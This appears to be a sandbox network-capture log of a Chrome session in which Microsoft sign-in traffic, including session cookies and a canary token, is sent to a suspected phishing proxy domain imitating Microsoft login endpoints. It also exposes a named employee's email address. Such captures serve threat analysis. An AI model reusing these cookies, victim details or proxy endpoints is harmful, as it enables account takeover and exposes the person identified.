2024-11-14 15:39:52 UTC	1723	IN	Data Raw: 7b 22 55 73 65 72 6e 61 6d 65 22 3a 22 61 64 61 72 73 68 2e 6d 61 6c 68 6f 74 72 61 40 6a 61 74 6f 2e 63 6f 6d 22 2c 22 44 69 73 70 6c 61 79 22 3a 22 61 64 61 72 73 68 2e 6d 61 6c 68 6f 74 72 61 40 6a 61 74 6f 2e 63 6f 6d 22 2c 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 30 2c 22 49 73 55 6e 6d 61 6e 61 67 65 64 22 3a 66 61 6c 73 65 2c 22 54 68 72 6f 74 74 6c 65 53 74 61 74 75 73 22 3a 30 2c 22 43 72 65 64 65 6e 74 69 61 6c 73 22 3a 7b 22 50 72 65 66 43 72 65 64 65 6e 74 69 61 6c 22 3a 31 2c 22 48 61 73 50 61 73 73 77 6f 72 64 22 3a 74 72 75 65 2c 22 52 65 6d 6f 74 65 4e 67 63 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 46 69 64 6f 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 51 72 43 6f 64 65 50 69 6e 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 53 61 73 Data Ascii: {"Username":"adarsh.malhotra@jato.com","Display":"adarsh.malhotra@jato.com","IfExistsResult":0,"IsUnmanaged":false,"ThrottleStatus":0,"Credentials":{"PrefCredential":1,"HasPassword":true,"RemoteNgcParams":null,"FidoParams":null,"QrCodePinParams":null,"Sas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.17	49759	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:51 UTC	420	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:52 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20253897 Cache-Control: public, max-age=31536000 Content-MD5: R2FAVxfpONfnQAuxVxXbHg== Content-Type: image/svg+xml Date: Thu, 14 Nov 2024 15:39:52 GMT Etag: 0x8DB5C3F4BB4F03C Last-Modified: Wed, 24 May 2023 10:11:52 GMT Server: ECAcc (lhc/7928) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 21996301-501e-00c2-0976-7e8866000000 x-ms-version: 2009-09-19 Content-Length: 1592 Connection: close
2024-11-14 15:39:52 UTC	1592	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 2c 30 2c 30 2c Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.17	60546	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:52 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=rszwPrLvACtc23F&MD=zB2GzbMC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-14 15:39:52 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: b37a68eb-f2ce-4698-a7bc-515cca664756 MS-RequestId: 861f7cc0-6f5d-4a4e-bea0-cf3b16c374dc MS-CV: Fxmv842q6EmJiCxv.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 14 Nov 2024 15:39:51 GMT Connection: close Content-Length: 30005
2024-11-14 15:39:52 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-14 15:39:52 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.17	60544	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:52 UTC	441	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:52 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7790890 Cache-Control: public, max-age=31536000 Content-MD5: 07aumYbfJEqwNBLMcAM10A== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:52 GMT Etag: 0x8DCBD52F42903D2 Last-Modified: Thu, 15 Aug 2024 17:51:56 GMT Server: ECAcc (lhc/78A7) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 22797220-301e-0043-49cf-ef2c70000000 x-ms-version: 2009-09-19 Content-Length: 113769 Connection: close
2024-11-14 15:39:52 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-14 15:39:52 UTC	16383	IN	Data Raw: 75 32 30 30 61 22 2c 22 68 61 6c 66 22 3a 22 5c 78 62 64 22 2c 22 68 61 6d 69 6c 74 22 3a 22 5c 75 32 31 30 62 22 2c 22 48 41 52 44 63 79 22 3a 22 5c 75 30 34 32 61 22 2c 22 68 61 72 64 63 79 22 3a 22 5c 75 30 34 34 61 22 2c 22 68 61 72 72 63 69 72 22 3a 22 5c 75 32 39 34 38 22 2c 22 68 61 72 72 22 3a 22 5c 75 32 31 39 34 22 2c 22 68 41 72 72 22 3a 22 5c 75 32 31 64 34 22 2c 22 68 61 72 72 77 22 3a 22 5c 75 32 31 61 64 22 2c 22 48 61 74 22 3a 22 5e 22 2c 22 68 62 61 72 22 3a 22 5c 75 32 31 30 66 22 2c 22 48 63 69 72 63 22 3a 22 5c 75 30 31 32 34 22 2c 22 68 63 69 72 63 22 3a 22 5c 75 30 31 32 35 22 2c 22 68 65 61 72 74 73 22 3a 22 5c 75 32 36 36 35 22 2c 22 68 65 61 72 74 73 75 69 74 22 3a 22 5c 75 32 36 36 35 22 2c 22 68 65 6c 6c 69 70 22 3a 22 5c 75 32 Data Ascii: u200a","half":"\xbd","hamilt":"\u210b","HARDcy":"\u042a","hardcy":"\u044a","harrcir":"\u2948","harr":"\u2194","hArr":"\u21d4","harrw":"\u21ad","Hat":"^","hbar":"\u210f","Hcirc":"\u0124","hcirc":"\u0125","hearts":"\u2665","heartsuit":"\u2665","hellip":"\u2
2024-11-14 15:39:53 UTC	16383	IN	Data Raw: 32 39 30 66 22 2c 22 52 42 61 72 72 22 3a 22 5c 75 32 39 31 30 22 2c 22 72 62 62 72 6b 22 3a 22 5c 75 32 37 37 33 22 2c 22 72 62 72 61 63 65 22 3a 22 7d 22 2c 22 72 62 72 61 63 6b 22 3a 22 5d 22 2c 22 72 62 72 6b 65 22 3a 22 5c 75 32 39 38 63 22 2c 22 72 62 72 6b 73 6c 64 22 3a 22 5c 75 32 39 38 65 22 2c 22 72 62 72 6b 73 6c 75 22 3a 22 5c 75 32 39 39 30 22 2c 22 52 63 61 72 6f 6e 22 3a 22 5c 75 30 31 35 38 22 2c 22 72 63 61 72 6f 6e 22 3a 22 5c 75 30 31 35 39 22 2c 22 52 63 65 64 69 6c 22 3a 22 5c 75 30 31 35 36 22 2c 22 72 63 65 64 69 6c 22 3a 22 5c 75 30 31 35 37 22 2c 22 72 63 65 69 6c 22 3a 22 5c 75 32 33 30 39 22 2c 22 72 63 75 62 22 3a 22 7d 22 2c 22 52 63 79 22 3a 22 5c 75 30 34 32 30 22 2c 22 72 63 79 22 3a 22 5c 75 30 34 34 30 22 2c 22 72 64 63 Data Ascii: 290f","RBarr":"\u2910","rbbrk":"\u2773","rbrace":"}","rbrack":"]","rbrke":"\u298c","rbrksld":"\u298e","rbrkslu":"\u2990","Rcaron":"\u0158","rcaron":"\u0159","Rcedil":"\u0156","rcedil":"\u0157","rceil":"\u2309","rcub":"}","Rcy":"\u0420","rcy":"\u0440","rdc
2024-11-14 15:39:53 UTC	3	IN	Data Raw: 73 74 72 Data Ascii: str
2024-11-14 15:39:53 UTC	16383	IN	Data Raw: 69 63 74 22 3b 74 2e 41 6e 79 3d 72 28 38 38 34 29 2c 74 2e 43 63 3d 72 28 38 38 35 29 2c 74 2e 43 66 3d 72 28 31 33 38 31 29 2c 74 2e 50 3d 72 28 37 38 34 29 2c 74 2e 5a 3d 72 28 38 38 36 29 7d 2c 31 33 38 31 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 65 78 70 6f 72 74 73 3d 2f 5b 5c 78 41 44 5c 75 30 36 30 30 2d 5c 75 30 36 30 35 5c 75 30 36 31 43 5c 75 30 36 44 44 5c 75 30 37 30 46 5c 75 30 38 45 32 5c 75 31 38 30 45 5c 75 32 30 30 42 2d 5c 75 32 30 30 46 5c 75 32 30 32 41 2d 5c 75 32 30 32 45 5c 75 32 30 36 30 2d 5c 75 32 30 36 34 5c 75 32 30 36 36 2d 5c 75 32 30 36 46 5c 75 46 45 46 46 5c 75 46 46 46 39 2d 5c 75 46 46 46 42 5d 7c 5c 75 44 38 30 34 5b 5c 75 44 43 42 44 5c 75 44 43 43 44 5d 7c 5c 75 44 38 32 46 5b 5c 75 44 43 41 30 2d 5c 75 44 Data Ascii: ict";t.Any=r(884),t.Cc=r(885),t.Cf=r(1381),t.P=r(784),t.Z=r(886)},1381:function(e,t){e.exports=/[\xAD\u0600-\u0605\u061C\u06DD\u070F\u08E2\u180E\u200B-\u200F\u202A-\u202E\u2060-\u2064\u2066-\u206F\uFEFF\uFFF9-\uFFFB]\|\uD804[\uDCBD\uDCCD]\|\uD82F[\uDCA0-\uD
2024-11-14 15:39:53 UTC	16383	IN	Data Raw: 72 6b 73 5b 74 5d 3b 69 66 28 65 2e 73 43 6f 75 6e 74 5b 74 5d 2d 65 2e 62 6c 6b 49 6e 64 65 6e 74 3e 3d 34 29 72 65 74 75 72 6e 21 31 3b 69 66 28 34 32 21 3d 3d 28 6f 3d 65 2e 73 72 63 2e 63 68 61 72 43 6f 64 65 41 74 28 75 2b 2b 29 29 26 26 34 35 21 3d 3d 6f 26 26 39 35 21 3d 3d 6f 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 69 3d 31 3b 75 3c 6c 3b 29 7b 69 66 28 28 61 3d 65 2e 73 72 63 2e 63 68 61 72 43 6f 64 65 41 74 28 75 2b 2b 29 29 21 3d 3d 6f 26 26 21 6e 28 61 29 29 72 65 74 75 72 6e 21 31 3b 61 3d 3d 3d 6f 26 26 69 2b 2b 7d 72 65 74 75 72 6e 21 28 69 3c 33 29 26 26 28 73 7c 7c 28 65 2e 6c 69 6e 65 3d 74 2b 31 2c 28 63 3d 65 2e 70 75 73 68 28 22 68 72 22 2c 22 68 72 22 2c 30 29 29 2e 6d 61 70 3d 5b 74 2c 65 2e 6c 69 6e 65 5d 2c 63 2e 6d 61 72 6b 75 Data Ascii: rks[t];if(e.sCount[t]-e.blkIndent>=4)return!1;if(42!==(o=e.src.charCodeAt(u++))&&45!==o&&95!==o)return!1;for(i=1;u<l;){if((a=e.src.charCodeAt(u++))!==o&&!n(a))return!1;a===o&&i++}return!(i<3)&&(s\|\|(e.line=t+1,(c=e.push("hr","hr",0)).map=[t,e.line],c.marku
2024-11-14 15:39:53 UTC	16383	IN	Data Raw: 6e 20 72 3d 65 2e 73 72 63 2e 73 6c 69 63 65 28 63 2b 31 2c 6c 29 2c 73 2e 74 65 73 74 28 72 29 3f 28 6f 3d 65 2e 6d 64 2e 6e 6f 72 6d 61 6c 69 7a 65 4c 69 6e 6b 28 72 29 2c 21 21 65 2e 6d 64 2e 76 61 6c 69 64 61 74 65 4c 69 6e 6b 28 6f 29 26 26 28 74 7c 7c 28 28 69 3d 65 2e 70 75 73 68 28 22 6c 69 6e 6b 5f 6f 70 65 6e 22 2c 22 61 22 2c 31 29 29 2e 61 74 74 72 73 3d 5b 5b 22 68 72 65 66 22 2c 6f 5d 5d 2c 69 2e 6d 61 72 6b 75 70 3d 22 61 75 74 6f 6c 69 6e 6b 22 2c 69 2e 69 6e 66 6f 3d 22 61 75 74 6f 22 2c 28 69 3d 65 2e 70 75 73 68 28 22 74 65 78 74 22 2c 22 22 2c 30 29 29 2e 63 6f 6e 74 65 6e 74 3d 65 2e 6d 64 2e 6e 6f 72 6d 61 6c 69 7a 65 4c 69 6e 6b 54 65 78 74 28 72 29 2c 28 69 3d 65 2e 70 75 73 68 28 22 6c 69 6e 6b 5f 63 6c 6f 73 65 22 2c 22 61 22 2c Data Ascii: n r=e.src.slice(c+1,l),s.test(r)?(o=e.md.normalizeLink(r),!!e.md.validateLink(o)&&(t\|\|((i=e.push("link_open","a",1)).attrs=[["href",o]],i.markup="autolink",i.info="auto",(i=e.push("text","",0)).content=e.md.normalizeLinkText(r),(i=e.push("link_close","a",
2024-11-14 15:39:53 UTC	15468	IN	Data Raw: 61 6c 61 6e 63 65 5f 70 61 69 72 73 22 2c 22 65 6d 70 68 61 73 69 73 22 2c 22 74 65 78 74 5f 63 6f 6c 6c 61 70 73 65 22 5d 7d 7d 7d 7d 2c 31 34 32 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 29 7b 76 61 72 20 72 2c 6e 2c 73 2c 6f 2c 69 2c 61 3d 5b 5d 2c 63 3d 74 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 72 3d 30 3b 72 3c 63 3b 72 2b 2b 29 34 33 3d 3d 3d 28 73 3d 74 5b 72 5d 29 2e 6d 61 72 6b 65 72 26 26 2d 31 21 3d 3d 73 2e 65 6e 64 26 26 28 6f 3d 74 5b 73 2e 65 6e 64 5d 2c 28 69 3d 65 2e 74 6f 6b 65 6e 73 5b 73 2e 74 6f 6b 65 6e 5d 29 2e 74 79 70 65 3d 22 69 6e 73 5f 6f 70 65 6e 22 2c 69 2e 74 61 67 3d 22 Data Ascii: alance_pairs","emphasis","text_collapse"]}}}},1428:function(e,t,r){"use strict";e.exports=function(e){function t(e,t){var r,n,s,o,i,a=[],c=t.length;for(r=0;r<c;r++)43===(s=t[r]).marker&&-1!==s.end&&(o=t[s.end],(i=e.tokens[s.token]).type="ins_open",i.tag="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.17	60547	78.138.9.37	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:53 UTC	1372	OUT	GET /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: butter.mnrov.eg-mart.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-JanPB47Zzx4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeOgrWZOqrQ1uFsg9pHwAYLs57srf2d6Kdd__WOjYP9hSZswfxwnfgz3MfCVmDjmamp4lAtnhHdXZyQD8DNgUm_YOhIfeFzs65Pfop03rao2y7IEPZ8iZeP6MdwidpoY9qTKIXS1kzQOU-R5DFBU4bvSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATQAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeipCc4ldnS61jJLBkrluvKKjPhkbyjnm7FJb-rDg5hR4CxXPlbFma3FhlwQ5_7cbQA45yaCvZ_uF0aSaIVZoxJqjEdfJKv_MxBDaL_hD7Wd4gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezhwTsZEpQggFeYkQRv1HpP4yyZJelITyUo-TKUiV2Idv4ezzEHYhx7nupcdSPwX7TxLpCx_OLQeHgXCfyPIzpf5mISakq9mCP0OWEFaQuXfewqC6vxubsvbaZuxNsHot4mJJ63tSlE2AoLbZM1KjkxE7z5ezI6dGOLYx8VnXtEsgAA; esctx-iB8Pq6MyNGQ=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeMZ6diUzLG_ohrrKcqO5C8Wl88tOt2ObB-PTJZdX3Os-NF9Zdsl8i3vv09yhXFsZhb-VqoJJ6D81Nuf_kQQMqWso3cWSko8VzNqKbs76xIxuXBunFefHlEnpUx9WMhujsZppHiVglJ10YwcnUjEjJhyAA; fpc=As8-FCUdWYJOniJMOE9eVDK8Ae7AAQAAALoQyN4OAAAA; brcap=0
2024-11-14 15:39:53 UTC	916	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 14 Nov 2024 15:39:53 GMT Content-Type: application/json; charset=utf-8 Content-Length: 164 Connection: close Cache-Control: no-store, no-cache Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+frc"}]} Set-Cookie: fpc=As8-FCUdWYJOniJMOE9eVDK8Ae7AAQAAALoQyN4OAAAA; expires=Sat, 14-Dec-2024 15:39:53 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly X-Ms-Ests-Server: 2.1.19343.4 - WEULR1 ProdSlices X-Ms-Request-Id: 1182c605-a5a7-4bea-99b7-40f9f66b5b01 X-Ms-Srs: 1.P
2024-11-14 15:39:53 UTC	164	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 31 62 34 34 65 30 35 38 2d 30 36 37 35 2d 34 30 62 32 2d 61 38 35 62 2d 35 31 31 32 39 39 64 32 33 61 61 65 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 31 2d 31 34 20 31 35 3a 33 39 3a 35 33 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d Data Ascii: {"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"1b44e058-0675-40b2-a85b-511299d23aae","timestamp":"2024-11-14 15:39:53Z","message":"AADSTS900561"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.17	60548	20.190.159.68	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:53 UTC	698	OUT	GET /jato.com/winauth/ssoprobe?client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&_=1731598791354 HTTP/1.1 Host: autologon.microsoftazuread-sso.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:53 UTC	1184	IN	HTTP/1.1 401 Unauthorized Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: image/png; charset=utf-8 Expires: -1 Vary: Origin X-Content-Type-Options: nosniff Access-Control-Allow-Origin: https://login.microsoftonline.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, OPTIONS P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 7ffb09b7-ab20-42ce-b941-d23637cb7701 x-ms-ests-server: 2.1.19343.4 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} Referrer-Policy: strict-origin-when-cross-origin X-XSS-Protection: 0 WWW-Authenticate: Negotiate Set-Cookie: fpc=Ah7ftUm-SchOjp4gSwnYdt4; expires=Sat, 14-Dec-2024 15:39:53 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly Date: Thu, 14 Nov 2024 15:39:53 GMT Connection: close Content-Length: 12
2024-11-14 15:39:53 UTC	12	IN	Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 Data Ascii: Unauthorized

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.17	60549	78.138.9.37	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:54 UTC	2900	OUT	POST /common/instrumentation/dssostatus HTTP/1.1 Host: butter.mnrov.eg-mart.com Connection: keep-alive Content-Length: 67 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" hpgrequestid: 1aba22a1-ac25-4d59-81a4-713653f54200 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFesJb8w2PqxF7aCfO_2My9KLpGXRJXqGM0IeH_IdWMPukbeXFyU5mCeI9VKgNyR2APIYScJ_-PTJlOlWMjilq_GfSQrfTBU-SL2qeDOeGqpzvWZpkuWSA4cOWHXci1cUkcBXIWZqRl0WlMvNBulp8xGVHRcVSFTpCxqi3BrMbadrojOotzZwX6ivHr9S04ehIdE_lVlY954gBRymgRP22jKCAA Content-type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://butter.mnrov.eg-mart.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: 